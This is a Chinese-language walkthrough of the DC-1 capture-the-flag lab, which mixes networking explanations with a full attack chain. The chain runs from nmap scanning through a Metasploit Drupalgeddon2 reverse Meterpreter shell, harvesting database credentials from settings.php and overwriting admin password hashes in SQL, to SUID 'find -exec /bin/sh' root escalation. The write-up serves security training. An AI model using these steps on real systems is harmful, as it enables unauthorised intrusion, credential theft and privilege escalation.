# DC-1靶场日记
参考文章:DC-1靶场搭建及渗透实战 超详细 过程-CSDN博客
搭建过程在参考文章中给出了,我们直接快进到渗透过程
# 寻找靶机IP
我们成功开启了虚拟机,但是我们还需要知道靶机的IP地址,探测主机的工具有很多,最常见的有arp-scan、nmap、netdiscover
# arp-scan
sudo arp-scan -l
arp-scan:发送ARP请求,把收到的响应显示出来(ARP(Address Resolution Protocol,地址解析协议)请求:局域网中用来通过IP地址查找对应MAC地址的一种广播询问)
-l:是--localnet的简写,根据所选网卡的IPv4地址和子网掩码,自动确定要扫描的本地网段
通过大量的ARP请求,然后就可以根据哪些主机返回了ARP应答,就能快速列出局域网内的存活主机、IP和MAC地址
我们可以在开启靶场的虚拟机设置里面找到MAC地址:

执行完arp请求之后我们可以看到类似如下界面的结果:

根据对应的MAC地址,我们不难发现靶机IP为192.168.152.129
# nmap
由于攻击机和靶机处在同一个局域网/子网里面,所以首先我们需要通过ifconfig命令获取攻击机直接连接的网段,扫描这个网段就可以覆盖靶机最可能出现的范围
ifconfig

我们重点关注eth0里面的inet、netmask、broadcast三个字段,这里的eth0是Kali的网络接口,lo是本机回环接口
inet:Kali自己的IPv4地址netmask:子网掩码broadcast:广播地址
从图中我们可以得到我的Kali的IP为192.168.152.128,子网掩码是255.255.255.0
IPv4地址一共有32位,分成四组,每组八位,子网掩码决定哪些位属于网络部分,哪些属于主机部分,255.255.255.0转换为二进制为11111111.11111111.11111111.00000000,其中1表示网络位,0表示主机位

该图片由ChatGPT生成
因此网络位总共有24位,而主机位总共有8位
网络地址用于标识一个子网,而不是某一台具体的计算机,我这里的网络地址为192.168.152.0(因为在/24这个网段中,当所有的主机位都为0时,得到的就是网络地址)
那么这里是怎么得出来的/24呢?
/24是根据子网掩码255.255.255.0得出来的,关键在于子网掩码转换为二进制之后,有多少个连续的1就是/后面的数字,同理可得:
| 子网掩码 | 二进制中1的数量 | CIDR写法 |
|---|---|---|
| 255.0.0.0 | 8 | /8 |
| 255.255.0.0 | 16 | /16 |
| 255.255.255.0 | 24 | /24 |
| 255.255.255.128 | 25 | /25 |
| 255.255.255.192 | 26 | /26 |
| 255.255.255.240 | 28 | /28 |
我们在之前提到/后面的数字代表了有多少个主机位,其中八个主机位,每一位都可以是0或1,所以总共有[ \underbrace{2\times2\times2\times2\times2\times2\times2\times2}_{8\text{ 个二进制位}} =2^8=256 ],256个不同组合,在常见的/24子网中,需要保留两个特殊地址,其中192.168.152.0为网络地址,192.168.152.255为广播地址,最后得到可用主机地址数为254个,范围为192.168.152.1~192.168.152.254
什么是广播地址呢?
广播地址用于向同一个IPv4子网中的所有设备发送广播数据
-
广播:假设在VMWare中搭建了如下网络

现在假设Kali想发送网络数据,有常见的两种情况:
-
单播(Unicast):Kali只想给DC-1发送数据:
源IP:192.168.214.128 目标IP:192.168.214.130类似于给某个人单独发送一条消息
-
广播(Broadcast):Kali想给同一个局域网中的所有设备发送一条消息
源IP:192.168.214.128 目标IP:192.168.214.255类似于在包含所有广播可达地址的群聊里面发送消息让所有成员都能收到
-
-
广播域(Broadcast Domain):一个广播数据帧能够到达的网络范围,例如:
网络A:192.168.214,0/24 kali:192.168.214.128 DC-1:192.168.214.130 设备B:192.168.214.131如果这三台设备连接在同一个普通二层虚拟网络中,那么Kali发出的以太网广播帧通常能到达另外两台设备,假设还有一个网络:
网络B:192.168.100.0/24 设备D:192.168.100.10设备D位于另一个由路由器隔开的网络,那么Kali的普通广播不会自动传过去,因为路由器默认不会转发这种广播到其他子网
广播域是根据二层网络连接和VLAN等因素划分的,并不完全由IP网段决定,两个设备的IP在同一个
/24网段,不代表他们一定处于同一个广播域
接下来就是用nmap进行主机实现了:
nmap -sv 192.168.152.0/24
在理解Nmap为什么能利用ARP发现靶机之前,我们先理解ARP为什么需要广播
假设VMware虚拟网络中有两台虚拟机

Kali想给DC-1发送数据目标IP:192.168.2144.130(假设主机位为130),这里存在一个问题是:在常见的以太网局域网中,发送IP数据包时,需要把它封装在以太网帧中,而以太网帧需要填写目标IP的MAC地址,可以简记为IP地址用于标识网络中的设备以及跨网络寻址,MAC地址用于当前以太网链路中传递数据帧
但是现在Kali只知道DC-1的IP,却不知道MAC地址,这时候就需要ARP(Address Resolution Protocol地址解析协议),它主要用于在IPv4局域网中解析IP地址对应的MAC地址
ARP请求为什么需要广播:发送ARP请求时,Kali目前并不知道这个MAC地址,它无法直接向DC-1单播发送以太网帧,常见以太网环境中数据大致是这样封装的:

因为单播需要知道目标MAC,所以这个ARP请求会通过以太网广播发送:

广播帧的MAC地址为FF:FF:FF:FF:FF:FF,该地址表示将帧广播给当前二层广播域内的设备,DC-1发现192.168.214.130是自己的IP,于是回复,其他设备发现请求的IP不是自己的,通常不回复,因此广播的作用就是让Kali在不知道目标MAC地址的情况下找到拥有指定IPv4地址的设备
由于DC-1收到的ARP请求中已经包含Kali的IP地址和MAC地址,所以DC-1知道应该把回复发送给谁,也就不需要再次广播,这个APR回复通常采用单播
Nmap所做的事情其实是针对一个网段中的多个IP地址发送ARP请求,然后根据收到的回复判断哪些地址有主机在使用,例如nmap -sn 192.168.152.0/24,Nmap可能分别发送这样的ARP请求:
Who has 192.168.214.1?
Who has 192.168.214.2?
Who has 192.168.214.3?
...
Who has 192.168.214.130?
Nmap收到对应的ARP回复之后就有证据判断回复IP对应的主机在当前网络中处于活动状态
接下来我们只需要对比DC-1靶场的MAC地址就可以找到对应的靶机IP
# 探测目标靶机IP的开放端口
还是使用nmap来做探测
nmap -sV -p- 192.158.152.129

-sS:TCP SYN扫描(只检测端口状态)
-sV:版本检测(检测端口状态+服务版本)
-A:全面扫描(包含版本检测+OS检测+脚本扫描)
-p-:扫描全部端口0~65535
可以看到80端口是http协议,而我们的虚拟机是NAT模式,那么我们可以使用浏览器访问
# 网页信息搜集

通过Wappalyzer插件可以很直观地看到Drupal为CMS,也可以通过whatweb:
whatweb -v 192.168.152.129
whatweb http://192.168.152.129

# 攻击Drupal
接下来我们可以使用工具metasploit查找漏洞(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),它的主要用途包括搜索与选择模块,配置攻击参数,执行漏洞利用,管理会话
msfconsole
search Drupal

可以选择等级最高的漏洞模块并且时间最新,也就是图中的2018年的漏洞
# 使用漏洞模块编号
use 1
# 使用漏洞名称
use exploit/unix/webapp/drupal_drupalgeddon2

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
系统提示还没有选择攻击载荷(payload),因此自动选择默认的php/meterpreter/reverse_tcp(php Meterpreter连接),这是因为Drupal是一个web应用,漏洞执行的是php代码
msf exploit(unix/webapp/drupal_drupalgedden2) >
成功进入Drupalgeddon2漏洞利用模块(CVE-2018-7600,著名的Drupal远程代码执行漏洞)
# 查看需要配置哪些参数
show options

Current Setting是目前设置的内容,Required表示是否需要设置内容,yes为必须设置,no可以设置也可以不设置
重点关注Required(是否为必须)为yes的项:
RHOSTS:当前为空,需要设置为目标靶机的IP地址(Current Setting)
RPORT:当前为80,代表目标web服务的端口,如果对方开启了8080或其他端口则需要修改
TARGETURI:当前为/,代表Drupal站点的安装路径,如果Drupal装在/drupal/目录下,这里就必须改为/drupal/
PHP_FUNC:设置为passthru,这是漏洞利用时用来执行系统命令的php函数
VHOST/SSL/Proxies:这些是可选的高级选项,通常保持默认即可(除非目标绑定了特定的域名或者需要走代理)
Payload options(载荷选项):这一部分是在成功利用漏洞之后,让目标机器回连到电脑的配置,由于我们用的是反向连接(reverse_tcp),所以需要配置自己电脑的监听地址:
LHOST:当前设置是192.168.152.128,为我的Kali(攻击机)机器的IP地址,要确保这个IP是靶机可以访问到的(比如在同一个内网,或者通过公网IP/VPS)
LPORT:当前为4444,为我的本地监听的端口,只要不被占用保持默认也行
Exploit target(利用目标):这里只有一个选项0 Automatic (PHP In-Memory),表示自动利用,并将PHP Payload直接在内存中执行
解释完接下来我们回到攻击流程,由于缺少RHOSTS,所以我们需要设置:
set RHOSTS 192.168.152.129
# 检查是否成功
show options

配置成功之后我们就可以执行run开始攻击了

Started reverse TCP handler on 192.168.152.128:4444:攻击机在本地4444端口开启了监听,等待目标机器主动连接回来(反向shell)Running automatic check ...:模块正在自动检测目标是否存在漏洞[!] The service is running, but could not be validated:提示目标web服务正在运行,但自动检测无法确切验证漏洞是否存在,这在Drupalgeddon2中很常见,很多情况下自动检查会失败(因为版本或配置差异),但不影响实际的攻击Sending stage (40004 bytes) to 192.168.152.129:漏洞利用成功执行,攻击机正在向目标机器发送Meterpreter的载荷代码(Stage)Meterpreter session 1 opened (192,.168.152.128:4444 -> 192.168.152.129:39472) at ...:这代表目标机器成功执行了载荷,并且主动连接回了4444端口Meterpreter session 1:表示成功建立了一个会话,编号为1192.168.152.129:39427:目标机器随机分配的端口号
现在我们已经拿到了目标机器的控制权限,在当前msf的提示符下,可以输入以下命令来实现操作会话
# 查看当前所有会话
session -l
# 进入(交互)会话1
session -i 1
进入Meterpreter会话之后,常用的基础命令如下:
sysinfo:查看目标系统信息(操作系统、主机名、架构等)getuid:查看当前获取到的权限(如www-data)shell:进入目标系统的标准命令行Shell,通常是Linux Bashbackground:将当前的会话挂起到后台(返回msf主界面,方便进行其他操作)hashdump(需要高权限):尝试抓取系统密码哈希ls / pwd / cd:浏览目标机器文件系统

既然刚才提到了shell才能进入靶机标准命令行,我们现在所处的环境是什么呢?
当前所处环境是一个Meterpreter会话,为Metasploit专门提供的内存后渗透工具(Meterpreter)环境,它是刚才发送过去的Payload(php/meterpreter/reverse_tcp)在目标机器内存中成功执行后建立的,运行在靶机的内存中(PHP In-Memory),它没有在硬盘上留下明显的二进制文件,隐蔽性很强,这里我们输入的ls是Meterpreter自带的命令,而不是Linux,通过Meterpreter的API调用目标系统的底层功能来列出文件

这样我们就拿到了第一个flag:Every good CMS needs a config file - and so do you.,提示我们需要找配置文件
在许多参考文章中都提到了可以用python pty模块升级为交互式shell(前提是受害机有python和获得一个反向shell),可以变得更加简洁美观:
python -c 'import pty;pty.spawn("/bin/bash")'

接下来我们尝试用find命令查找文件:
# 查找名字里带有flag的文件(这里需要root权限才能查找到其他目录下的文件)
find / -name flag*
# 查找配置文件
find / -name settings.php

由于CMS的配置文件位置和命名方式都不太一样,所以需要搜索一下,查找Drupal的配置文件位置的配置文件名(sites/default/files)

接下来我们使用cat settings.php查看文件内容

看到了flag2:
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
flag2提示我们不要去盲目地爆破SSH密码或Drupal后台登录密码,利用凭据
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
settings.php的这一个部分我们可以知道数据库名和数据库的账号密码
# 数据库渗透
接下来我们可以尝试登录:
mysql -udbuser -pR0ck3t

在数据库里面我们可以利用
# 使用drupal数据库
use drupaldb
# 查看所有表
show tables;

找到有一个users表
select * from users

可以看到对密码进行了加密,得到了两个用户和两组密码,我们需要通过修改用户密码来进行登录,修改密码的话首先需要找到加密文件
参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal中国
通过drupal加密密码的脚本加密一个知道的密码,把加密得到的字符串和admin的pass进行替换,加密文件脚本路径在/var/www/scripts/password-hash.sh

<?php
/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/
if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF
ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}
$script = basename(array_shift($_SERVER['argv']));
if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF
Generate Drupal password hashes from the shell.
Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"
All arguments are long options.
--help Print this page.
--root <path>
Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.
"<password1>" ["<password2>" ["<password3>" ...]]
One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.
To run this script without the --root argument invoke it from the root directory
of your Drupal installation as
./scripts/{$script}
\n
EOF;
exit;
}
$passwords = array();
// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}
define('DRUPAL_ROOT', getcwd());
include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
这个脚本用php写的,还能用php加参数运行,直接得到加密后的密码
php /var/www/scripts/password-hash.sh 123456

password: 123456 hash: $S$DZ2zFTmLqUjiqAHV4tC./mSLaDrIV3vGS//oJrwN/iqRx.vDhZEM
接下来我们试着把admin和Fred用户的密码更换为这个hash值
UPDATE users SET pass = "$S$DZ2zFTmLqUjiqAHV4tC./mSLaDrIV3vGS//oJrwN/iqRx.vDhZEM" where name = 'admin' or name = 'Fred';

接下来我们可以尝试直接在网站里面用账户密码登录:

登录进去在File Content栏就能看到flag3了,提示了passwd和shadow,为Linux文件
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的权限设置有助于找到密码--但您需要执行该命令来弄清楚如何获取所需的内容
/etc/passwd:该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow:该文件存储了系统用户的密码等信息,只有root权限用户才能读取

在/etc/passwd的最末尾我们看到了flag4这个用户,由于shadow文件需要root权限,所以我们需要用到提权,这里用常见的SUID提权:
# 查找SUID权限的文件
find / -perm -u=s -type f 2>/dev/null

我们可以用比较常用的find命令进行提权:
find / -name index.php -exec "/bin/sh" \;
查找什么文件并不重要,重要的是这个文件得存在

接下来就是找最后的flag了:
cd /root
ls
cat thefinalflag.txt

